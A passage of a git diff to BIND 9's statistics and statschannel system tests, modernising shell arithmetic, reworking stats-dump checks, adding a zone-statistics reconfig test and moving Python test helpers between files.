 ret=0
 echo_i "dumping updated stats for ns3 ($n)"
-rm -f ns3/named.stats
-$RNDCCMD -s 10.53.0.3 stats > /dev/null 2>&1
-[ -f ns3/named.stats ] || ret=1
+getstats() {
+    rndc_stats ns3 10.53.0.3 || return 1
+    grep "2 recursing clients" $last_stats > /dev/null || return 1
+}
+retry_quiet 5 getstats || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "verifying recursing clients output in named.stats ($n)"
-grep "2 recursing clients" ns3/named.stats > /dev/null || ret=1
+grep "2 recursing clients" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "verifying active fetches output in named.stats ($n)"
-grep "1 active fetches" ns3/named.stats > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
-
-if [ ! "$CYGWIN" ]; then
-    ret=0
-    echo_i "verifying active sockets output in named.stats ($n)"
-    nsock1nstat=`grep "UDP/IPv4 sockets active" ns3/named.stats | awk '{print $1}'`
-    [ `expr ${nsock1nstat:-0} - ${nsock0nstat:-0}` -eq 1 ] || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-    n=`expr $n + 1`
-fi
+grep "1 active fetches" $last_stats > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+ret=0
+echo_i "verifying active sockets output in named.stats ($n)"
+nsock1nstat=$(grep "UDP/IPv4 sockets active" $last_stats | awk '{print $1}')
+[ $((nsock1nstat - nsock0nstat)) -eq 1 ] || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
 
 # there should be 1 UDP and no TCP queries.  As the TCP counter is zero
 # no status line is emitted.
 ret=0
 echo_i "verifying queries in progress in named.stats ($n)"
-grep "1 UDP queries in progress" ns3/named.stats > /dev/null || ret=1
-grep "TCP queries in progress" ns3/named.stats > /dev/null && ret=1
+grep "1 UDP queries in progress" $last_stats > /dev/null || ret=1
+grep "TCP queries in progress" $last_stats > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "verifying bucket size output ($n)"
-grep "bucket size" ns3/named.stats > /dev/null || ret=1
+grep "bucket size" $last_stats > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+ret=0
+echo_i "checking priming queries are counted ($n)"
+grep "priming queries" $last_stats > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking that zones with slash are properly shown in XML output ($n)"
@@ -138,28 +157,33 @@ else
     echo_i "skipping test as libxml2 and/or curl was not found"
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking that zones return their type ($n)"
 if $FEATURETEST --have-libxml2 && [ -x ${CURL} ] ; then
     ${CURL} http://10.53.0.1:${EXTRAPORT1}/xml/v3/zones > curl.out.${n} 2>/dev/null || ret=1
-    grep '<zone name="32/1.0.0.127-in-addr.example" rdataclass="IN"><type>master</type>' curl.out.${n} > /dev/null || ret=1
+    grep '<zone name="32/1.0.0.127-in-addr.example" rdataclass="IN"><type>primary</type>' curl.out.${n} > /dev/null || ret=1
 else
     echo_i "skipping test as libxml2 and/or curl was not found"
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking bind9.xsl vs xml ($n)"
-if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] && [ -x "${XSLTPROC}" ]  ; then
-    $DIGCMD +notcp +recurse @10.53.0.3 soa . > /dev/null 2>&1
-    $DIGCMD +notcp +recurse @10.53.0.3 soa example > /dev/null 2>&1
-    ${CURL} http://10.53.0.3:${EXTRAPORT1}/xml/v3 > curl.out.${n}.xml 2>/dev/null || ret=1
-    ${CURL} http://10.53.0.3:${EXTRAPORT1}/bind9.xsl > curl.out.${n}.xsl 2>/dev/null || ret=1
+if $FEATURETEST --have-libxml2 && "${CURL}" --http1.1 http://10.53.0.3:${EXTRAPORT1} > /dev/null 2>&1 && [ -x "${XSLTPROC}" ]  ; then
+    $DIGCMD +notcp +recurse @10.53.0.3 soa . > dig.out.test$n.1 2>&1
+    $DIGCMD +notcp +recurse @10.53.0.3 soa example > dig.out.test$n.2 2>&1
+    # check multiple requests over the same socket
+    time1=$($PERL -e 'print time(), "\n";')
+    ${CURL} --http1.1 -o curl.out.${n}.xml http://10.53.0.3:${EXTRAPORT1}/xml/v3 \
+	    -o curl.out.${n}.xsl http://10.53.0.3:${EXTRAPORT1}/bind9.xsl 2>/dev/null || ret=1
+    time2=$($PERL -e 'print time(), "\n";')
+    test $((time2 - time1)) -lt 5 || ret=1
+    diff ${TOP_SRCDIR}/bin/named/bind9.xsl curl.out.${n}.xsl || ret=1
     ${XSLTPROC} curl.out.${n}.xsl - < curl.out.${n}.xml > xsltproc.out.${n} 2>/dev/null || ret=1
     cp curl.out.${n}.xml stats.xml.out || ret=1
 
@@ -174,7 +198,7 @@ if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] && [ -x "${XSLTPROC}" ]  ; th
     grep "<h3>View " xsltproc.out.${n} >/dev/null || ret=1
     grep "<h2>Server Statistics</h2>" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h2>Zone Maintenance Statistics</h2>" xsltproc.out.${n} >/dev/null || ret=1
-    grep "<h2>Resolver Statistics (Common)</h2>" xsltproc.out.${n} >/dev/null || ret=1
+    # grep "<h2>Resolver Statistics (Common)</h2>" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h3>Resolver Statistics for View " xsltproc.out.${n} >/dev/null || ret=1
     grep "<h3>ADB Statistics for View " xsltproc.out.${n} >/dev/null || ret=1
     grep "<h3>Cache Statistics for View " xsltproc.out.${n} >/dev/null || ret=1
@@ -195,28 +219,25 @@ if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] && [ -x "${XSLTPROC}" ]  ; th
     # grep "<h2>Glue cache statistics</h2>" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h3>View _default" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h4>Zone example" xsltproc.out.${n} >/dev/null || ret=1
-    grep "<h2>Network Status</h2>" xsltproc.out.${n} >/dev/null || ret=1
-    grep "<h2>Task Manager Configuration</h2>" xsltproc.out.${n} >/dev/null || ret=1
-    grep "<h2>Tasks</h2>" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h2>Memory Usage Summary</h2>" xsltproc.out.${n} >/dev/null || ret=1
     grep "<h2>Memory Contexts</h2>" xsltproc.out.${n} >/dev/null || ret=1
 else
-    echo_i "skipping test as libxml2 and/or curl and/or xsltproc was not found"
+    echo_i "skipping test as libxml2 and/or curl with HTTP/1.1 support and/or xsltproc was not found"
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking bind9.xml socket statistics ($n)"
-if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] && [ -x "${XSLTPROC}" ]  ; then
+if $FEATURETEST --have-libxml2 && [ -e stats.xml.out ] && [ -x "${XSLTPROC}" ]  ; then
     # Socket statistics (expect no errors)
     grep "<counter name=\"TCP4AcceptFail\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP4BindFail\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP4ConnFail\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP4OpenFail\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP4RecvErr\">0</counter>" stats.xml.out >/dev/null || ret=1
-    grep "<counter name=\"TCP4SendErr\">0</counter>" stats.xml.out >/dev/null || ret=1
+    # grep "<counter name=\"TCP4SendErr\">0</counter>" stats.xml.out >/dev/null || ret=1
 
     grep "<counter name=\"TCP6AcceptFail\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP6BindFail\">0</counter>" stats.xml.out >/dev/null || ret=1
@@ -225,18 +246,35 @@ if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] && [ -x "${XSLTPROC}" ]  ; th
     grep "<counter name=\"TCP6RecvErr\">0</counter>" stats.xml.out >/dev/null || ret=1
     grep "<counter name=\"TCP6SendErr\">0</counter>" stats.xml.out >/dev/null || ret=1
 else
-    echo_i "skipping test as libxml2 and/or curl and/or xsltproc was not found"
+    echo_i "skipping test as libxml2 and/or stats.xml.out file and/or xsltproc was not found"
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
+echo_i "Check that 'zone-statistics full;' is processed by 'rndc reconfig' ($n)"
 ret=0
-echo_i "checking priming queries are counted ($n)"
-grep "1 priming queries" ns3/named.stats
+# off by default
+rndc_stats ns2 10.53.0.2 || ret=1
+sed -n '/Per Zone Query Statistics/,/^++/p' $last_stats | grep -F '[example]' > /dev/null && ret=0
+# turn on
+copy_setports ns2/named2.conf.in ns2/named.conf
+rndc_reconfig ns2 10.53.0.2
+rndc_stats ns2 10.53.0.2 || ret=1
+sed -n '/Per Zone Query Statistics/,/^++/p' $last_stats | grep -F '[example]' > /dev/null || ret=1
+# turn off
+copy_setports ns2/named.conf.in ns2/named.conf
+rndc_reconfig ns2 10.53.0.2
+rndc_stats ns2 10.53.0.2 || ret=1
+sed -n '/Per Zone Query Statistics/,/^++/p' $last_stats | grep -F '[example]' > /dev/null && ret=0
+# turn on
+copy_setports ns2/named2.conf.in ns2/named.conf
+rndc_reconfig ns2 10.53.0.2
+rndc_stats ns2 10.53.0.2 || ret=1
+sed -n '/Per Zone Query Statistics/,/^++/p' $last_stats | grep -F '[example]' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/statistics/tests_sh_statistics.py b/bin/tests/system/statistics/tests_sh_statistics.py
new file mode 100644
index 0000000000..d87688f0dc
--- /dev/null
+++ b/bin/tests/system/statistics/tests_sh_statistics.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_statistics(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/statschannel/clean.sh b/bin/tests/system/statschannel/clean.sh
index 2e13b1a9a5..b0ab571b24 100644
--- a/bin/tests/system/statschannel/clean.sh
+++ b/bin/tests/system/statschannel/clean.sh
@@ -1,16 +1,21 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+rm -f ./Kdnssec*
+rm -f bind9.xsl.1 bind9.xsl.2 bind9.xsl.3
 rm -f compressed.headers regular.headers compressed.out regular.out
 rm -f dig.out*
+rm -f nc.out* curl.out* header.in*
 rm -f ns*/managed-keys.bind*
 rm -f ns*/named.conf
 rm -f ns*/named.lock
diff --git a/bin/tests/system/statschannel/conftest.py b/bin/tests/system/statschannel/conftest.py
index bc53cb2d20..363dd7ad1b 100644
--- a/bin/tests/system/statschannel/conftest.py
+++ b/bin/tests/system/statschannel/conftest.py
@@ -1,107 +1,25 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 import os
 import pytest
 
 
-def pytest_configure(config):
-    config.addinivalue_line(
-        "markers", "requests: mark tests that need requests to function"
-    )
-    config.addinivalue_line(
-        "markers", "json: mark tests that need json to function"
-    )
-    config.addinivalue_line(
-        "markers", "xml: mark tests that need xml.etree to function"
-    )
-    config.addinivalue_line(
-        "markers", "dnspython: mark tests that need dnspython to function"
-    )
-
-
-def pytest_collection_modifyitems(config, items):
-    # pylint: disable=unused-argument,unused-import,too-many-branches
-    # pylint: disable=import-outside-toplevel
-    # Test for requests module
-    skip_requests = pytest.mark.skip(
-        reason="need requests module to run")
-    try:
-        import requests  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "requests" in item.keywords:
-                item.add_marker(skip_requests)
-    # Test for json module
-    skip_json = pytest.mark.skip(
-        reason="need json module to run")
-    try:
-        import json  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "json" in item.keywords:
-                item.add_marker(skip_json)
-    # Test for xml module
-    skip_xml = pytest.mark.skip(
-        reason="need xml module to run")
-    try:
-        import xml.etree.ElementTree  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "xml" in item.keywords:
-                item.add_marker(skip_xml)
-    # Test if JSON statistics channel was enabled
-    no_jsonstats = pytest.mark.skip(
-        reason="need JSON statistics to be enabled")
-    if os.getenv("HAVEJSONSTATS") is None:
-        for item in items:
-            if "json" in item.keywords:
-                item.add_marker(no_jsonstats)
-    # Test if XML statistics channel was enabled
-    no_xmlstats = pytest.mark.skip(
-        reason="need XML statistics to be enabled")
-    if os.getenv("HAVEXMLSTATS") is None:
-        for item in items:
-            if "xml" in item.keywords:
-                item.add_marker(no_xmlstats)
-    # Test for dnspython module
-    skip_dnspython = pytest.mark.skip(
-        reason="need dnspython module to run")
-    try:
-        import dns.query  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "dnspython" in item.keywords:
-                item.add_marker(skip_dnspython)
-
-
 @pytest.fixture
 def statsport(request):
     # pylint: disable=unused-argument
     env_port = os.getenv("EXTRAPORT1")
-    if port is None:
+    if env_port is None:
         env_port = 5301
     else:
         env_port = int(env_port)
 
     return env_port
-
-
-@pytest.fixture
-def port(request):
-    # pylint: disable=unused-argument
-    env_port = os.getenv("PORT")
-    if port is None:
-        env_port = 5300
-    else:
-        env_port = int(env_port)
-
-    return env_port
diff --git a/bin/tests/system/statschannel/fetch.pl b/bin/tests/system/statschannel/fetch.pl
index e2b2005f4f..b09ed542a5 100644
--- a/bin/tests/system/statschannel/fetch.pl
+++ b/bin/tests/system/statschannel/fetch.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -26,7 +28,7 @@ sub usage {
 getopts("s:p:", \%options);
 
 my $addr = "10.53.0.2";
-$addr = $options{a} if defined $options{a};
+$addr = $options{s} if defined $options{s};
 
 my $path = 'xml/v3';
 if (@ARGV >= 1) {
diff --git a/bin/tests/system/statschannel/generic.py b/bin/tests/system/statschannel/generic.py
index aff45d90a9..bf4b038992 100644
--- a/bin/tests/system/statschannel/generic.py
+++ b/bin/tests/system/statschannel/generic.py
@@ -1,95 +1,108 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
-import helper
+from datetime import datetime, timedelta
+import os
 
 
-def test_zone_timers_primary(fetch_zones, load_timers, **kwargs):
+# ISO datetime format without msec
+fmt = "%Y-%m-%dT%H:%M:%SZ"
 
-    statsip = kwargs['statsip']
-    statsport = kwargs['statsport']
-    zonedir = kwargs['zonedir']
+# The constants were taken from BIND 9 source code (lib/dns/zone.c)
+max_refresh = timedelta(seconds=2419200)  # 4 weeks
+max_expires = timedelta(seconds=14515200)  # 24 weeks
+now = datetime.utcnow().replace(microsecond=0)
+dayzero = datetime.utcfromtimestamp(0).replace(microsecond=0)
 
-    zones = fetch_zones(statsip, statsport)
 
-    for zone in zones:
-        (name, loaded, expires, refresh) = load_timers(zone, True)
-        mtime = helper.zone_mtime(zonedir, name)
-        helper.check_zone_timers(loaded, expires, refresh, mtime)
+# Generic helper functions
+def check_expires(expires, min_time, max_time):
+    assert expires >= min_time
+    assert expires <= max_time
 
 
-def test_zone_timers_secondary(fetch_zones, load_timers, **kwargs):
+def check_refresh(refresh, min_time, max_time):
+    assert refresh >= min_time
+    assert refresh <= max_time
 
-    statsip = kwargs['statsip']
-    statsport = kwargs['statsport']
-    zonedir = kwargs['zonedir']
 
-    zones = fetch_zones(statsip, statsport)
+def check_loaded(loaded, expected):  # pylint: disable=unused-argument
+    # Sanity check the zone timers values
+    # NOTE This check has been disabled due to GL #3983
+    # assert loaded == expected
+    # assert loaded < now
+    pass
 
-    for zone in zones:
-        (name, loaded, expires, refresh) = load_timers(zone, False)
-        mtime = helper.zone_mtime(zonedir, name)
-        helper.check_zone_timers(loaded, expires, refresh, mtime)
 
+def check_zone_timers(loaded, expires, refresh, loaded_exp):
+    # Sanity checks the zone timers values
+    if expires is not None:
+        check_expires(expires, now, now + max_expires)
+    if refresh is not None:
+        check_refresh(refresh, now, now + max_refresh)
+    check_loaded(loaded, loaded_exp)
 
-def test_zone_with_many_keys(fetch_zones, load_zone, **kwargs):
 
-    statsip = kwargs['statsip']
-    statsport = kwargs['statsport']
+#
+# The output is gibberish, but at least make sure it does not crash.
+#
+def check_manykeys(name, zone=None):
+    # pylint: disable=unused-argument
+    assert name == "manykeys"
 
-    zones = fetch_zones(statsip, statsport)
 
-    for zone in zones:
-        name = load_zone(zone)
-        if name == 'manykeys':
-            helper.check_manykeys(name)
+def zone_mtime(zonedir, name):
+    try:
+        si = os.stat(os.path.join(zonedir, "{}.db".format(name)))
+    except FileNotFoundError:
+        return dayzero
 
+    mtime = datetime.utcfromtimestamp(si.st_mtime).replace(microsecond=0)
 
-def test_traffic(fetch_traffic, **kwargs):
+    return mtime
 
-    statsip = kwargs['statsip']
-    statsport = kwargs['statsport']
-    port = kwargs['port']
 
-    data = fetch_traffic(statsip, statsport)
-    exp = helper.create_expected(data)
+def test_zone_timers_primary(fetch_zones, load_timers, **kwargs):
+    statsip = kwargs["statsip"]
+    statsport = kwargs["statsport"]
+    zonedir = kwargs["zonedir"]
 
-    msg = helper.create_msg("short.example.", "TXT")
-    helper.update_expected(exp, "dns-udp-requests-sizes-received-ipv4", msg)
-    ans = helper.udp_query(statsip, port, msg)
-    helper.update_expected(exp, "dns-udp-responses-sizes-sent-ipv4", ans)
-    data = fetch_traffic(statsip, statsport)
+    zones = fetch_zones(statsip, statsport)
 
-    helper.check_traffic(data, exp)
+    for zone in zones:
+        (name, loaded, expires, refresh) = load_timers(zone, True)
+        mtime = zone_mtime(zonedir, name)
+        check_zone_timers(loaded, expires, refresh, mtime)
+
+
+def test_zone_timers_secondary(fetch_zones, load_timers, **kwargs):
+    statsip = kwargs["statsip"]
+    statsport = kwargs["statsport"]
+    zonedir = kwargs["zonedir"]
 
-    msg = helper.create_msg("long.example.", "TXT")
-    helper.update_expected(exp, "dns-udp-requests-sizes-received-ipv4", msg)
-    ans = helper.udp_query(statsip, port, msg)
-    helper.update_expected(exp, "dns-udp-responses-sizes-sent-ipv4", ans)
-    data = fetch_traffic(statsip, statsport)
+    zones = fetch_zones(statsip, statsport)
 
-    helper.check_traffic(data, exp)
+    for zone in zones:
+        (name, loaded, expires, refresh) = load_timers(zone, False)
+        mtime = zone_mtime(zonedir, name)
+        check_zone_timers(loaded, expires, refresh, mtime)
 
-    msg = helper.create_msg("short.example.", "TXT")
-    helper.update_expected(exp, "dns-tcp-requests-sizes-received-ipv4", msg)
-    ans = helper.tcp_query(statsip, port, msg)
-    helper.update_expected(exp, "dns-tcp-responses-sizes-sent-ipv4", ans)
-    data = fetch_traffic(statsip, statsport)
 
-    helper.check_traffic(data, exp)
+def test_zone_with_many_keys(fetch_zones, load_zone, **kwargs):
+    statsip = kwargs["statsip"]
+    statsport = kwargs["statsport"]
 
-    msg = helper.create_msg("long.example.", "TXT")
-    helper.update_expected(exp, "dns-tcp-requests-sizes-received-ipv4", msg)
-    ans = helper.tcp_query(statsip, port, msg)
-    helper.update_expected(exp, "dns-tcp-responses-sizes-sent-ipv4", ans)
-    data = fetch_traffic(statsip, statsport)
+    zones = fetch_zones(statsip, statsport)
 
-    helper.check_traffic(data, exp)
+    for zone in zones:
+        name = load_zone(zone)
+        if name == "manykeys":
+            check_manykeys(name)
diff --git a/bin/tests/system/statschannel/generic_dnspython.py b/bin/tests/system/statschannel/generic_dnspython.py
new file mode 100644
index 0000000000..34a0398108
--- /dev/null
+++ b/bin/tests/system/statschannel/generic_dnspython.py
@@ -0,0 +1,128 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from collections import defaultdict
+
+import dns.message
+import dns.query
+import dns.rcode
+
+
+TIMEOUT = 10
+
+
+def create_msg(qname, qtype):
+    msg = dns.message.make_query(
+        qname, qtype, want_dnssec=True, use_edns=0, payload=4096
+    )
+
+    return msg
+
+
+def udp_query(ip, port, msg):
+    ans = dns.query.udp(msg, ip, TIMEOUT, port=port)
+    assert ans.rcode() == dns.rcode.NOERROR
+
+    return ans
+
+
+def tcp_query(ip, port, msg):
+    ans = dns.query.tcp(msg, ip, TIMEOUT, port=port)
+    assert ans.rcode() == dns.rcode.NOERROR
+
+    return ans
+
+
+def create_expected(data):
+    expected = {
+        "dns-tcp-requests-sizes-received-ipv4": defaultdict(int),
+        "dns-tcp-responses-sizes-sent-ipv4": defaultdict(int),
+        "dns-tcp-requests-sizes-received-ipv6": defaultdict(int),
+        "dns-tcp-responses-sizes-sent-ipv6": defaultdict(int),
+        "dns-udp-requests-sizes-received-ipv4": defaultdict(int),
+        "dns-udp-requests-sizes-received-ipv6": defaultdict(int),
+        "dns-udp-responses-sizes-sent-ipv4": defaultdict(int),
+        "dns-udp-responses-sizes-sent-ipv6": defaultdict(int),
+    }
+
+    for k, v in data.items():
+        for kk, vv in v.items():
+            expected[k][kk] += vv
+
+    return expected
+
+
+def update_expected(expected, key, msg):
+    msg_len = len(msg.to_wire())
+    bucket_num = (msg_len // 16) * 16
+    bucket = "{}-{}".format(bucket_num, bucket_num + 15)
+
+    expected[key][bucket] += 1
+
+
+def check_traffic(data, expected):
+    def ordered(obj):
+        if isinstance(obj, dict):
+            return sorted((k, ordered(v)) for k, v in obj.items())
+        if isinstance(obj, list):
+            return sorted(ordered(x) for x in obj)
+        return obj
+
+    ordered_data = ordered(data)
+    ordered_expected = ordered(expected)
+
+    assert len(ordered_data) == 8
+    assert len(ordered_expected) == 8
+    assert len(data) == len(ordered_data)
+    assert len(expected) == len(ordered_expected)
+
+    assert ordered_data == ordered_expected
+
+
+def test_traffic(fetch_traffic, **kwargs):
+    statsip = kwargs["statsip"]
+    statsport = kwargs["statsport"]
+    port = kwargs["port"]
+
+    data = fetch_traffic(statsip, statsport)
+    exp = create_expected(data)
+
+    msg = create_msg("short.example.", "TXT")
+    update_expected(exp, "dns-udp-requests-sizes-received-ipv4", msg)
+    ans = udp_query(statsip, port, msg)
+    update_expected(exp, "dns-udp-responses-sizes-sent-ipv4", ans)
+    data = fetch_traffic(statsip, statsport)
+
+    check_traffic(data, exp)
+
+    msg = create_msg("long.example.", "TXT")
+    update_expected(exp, "dns-udp-requests-sizes-received-ipv4", msg)
+    ans = udp_query(statsip, port, msg)
+    update_expected(exp, "dns-udp-responses-sizes-sent-ipv4", ans)
+    data = fetch_traffic(statsip, statsport)
+
+    check_traffic(data, exp)
+
+    msg = create_msg("short.example.", "TXT")
+    update_expected(exp, "dns-tcp-requests-sizes-received-ipv4", msg)
+    ans = tcp_query(statsip, port, msg)
+    update_expected(exp, "dns-tcp-responses-sizes-sent-ipv4", ans)
+    data = fetch_traffic(statsip, statsport)
+
+    check_traffic(data, exp)
+
+    msg = create_msg("long.example.", "TXT")
+    update_expected(exp, "dns-tcp-requests-sizes-received-ipv4", msg)
+    ans = tcp_query(statsip, port, msg)
+    update_expected(exp, "dns-tcp-responses-sizes-sent-ipv4", ans)
+    data = fetch_traffic(statsip, statsport)
+
+    check_traffic(data, exp)
diff --git a/bin/tests/system/statschannel/helper.py b/bin/tests/system/statschannel/helper.py
deleted file mode 100644
index c43bea93b8..0000000000
--- a/bin/tests/system/statschannel/helper.py
+++ /dev/null
@@ -1,153 +0,0 @@
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import os
-import os.path
-
-from collections import defaultdict
-from datetime import datetime, timedelta
-
-import dns.message
-import dns.query
-import dns.rcode
-
-# ISO datetime format without msec
-fmt = '%Y-%m-%dT%H:%M:%SZ'
-
-# The constants were taken from BIND 9 source code (lib/dns/zone.c)
-max_refresh = timedelta(seconds=2419200)  # 4 weeks
-max_expires = timedelta(seconds=14515200)  # 24 weeks
-now = datetime.utcnow().replace(microsecond=0)
-dayzero = datetime.utcfromtimestamp(0).replace(microsecond=0)
-
-
-TIMEOUT = 10
-
-
-# Generic helper functions
-def check_expires(expires, min_time, max_time):
-    assert expires >= min_time
-    assert expires <= max_time
-
-
-def check_refresh(refresh, min_time, max_time):
-    assert refresh >= min_time
-    assert refresh <= max_time
-
-
-def check_loaded(loaded, expected):
-    # Sanity check the zone timers values
-    assert loaded == expected
-    assert loaded < now
-
-
-def check_zone_timers(loaded, expires, refresh, loaded_exp):
-    # Sanity checks the zone timers values
-    if expires is not None:
-        check_expires(expires, now, now + max_expires)
-    if refresh is not None:
-        check_refresh(refresh, now, now + max_refresh)
-    check_loaded(loaded, loaded_exp)
-
-
-#
-# The output is gibberish, but at least make sure it does not crash.
-#
-def check_manykeys(name, zone=None):
-    # pylint: disable=unused-argument
-    assert name == "manykeys"
-
-
-def zone_mtime(zonedir, name):
-
-    try:
-        si = os.stat(os.path.join(zonedir, "{}.db".format(name)))
-    except FileNotFoundError:
-        return dayzero
-
-    mtime = datetime.utcfromtimestamp(si.st_mtime).replace(microsecond=0)
-
-    return mtime
-
-
-def zone_keyid(nameserver, zone, key):
-    with open('{}/{}.{}.id'.format(nameserver, zone, key)) as f:
-        keyid = f.read().strip()
-        print('{}-{} ID: {}'.format(zone, key, keyid))
-    return keyid
-
-
-def create_msg(qname, qtype):
-    msg = dns.message.make_query(qname, qtype, want_dnssec=True,
-                                 use_edns=0, payload=4096)
-
-    return msg
-
-
-def udp_query(ip, port, msg):
-
-    ans = dns.query.udp(msg, ip, TIMEOUT, port=port)
-    assert ans.rcode() == dns.rcode.NOERROR
-
-    return ans
-
-
-def tcp_query(ip, port, msg):
-
-    ans = dns.query.tcp(msg, ip, TIMEOUT, port=port)
-    assert ans.rcode() == dns.rcode.NOERROR
-
-    return ans
-
-
-def create_expected(data):
-    expected = {"dns-tcp-requests-sizes-received-ipv4": defaultdict(int),
-                "dns-tcp-responses-sizes-sent-ipv4": defaultdict(int),
-                "dns-tcp-requests-sizes-received-ipv6": defaultdict(int),
-                "dns-tcp-responses-sizes-sent-ipv6": defaultdict(int),
-                "dns-udp-requests-sizes-received-ipv4": defaultdict(int),
-                "dns-udp-requests-sizes-received-ipv6": defaultdict(int),
-                "dns-udp-responses-sizes-sent-ipv4": defaultdict(int),
-                "dns-udp-responses-sizes-sent-ipv6": defaultdict(int),
-                }
-
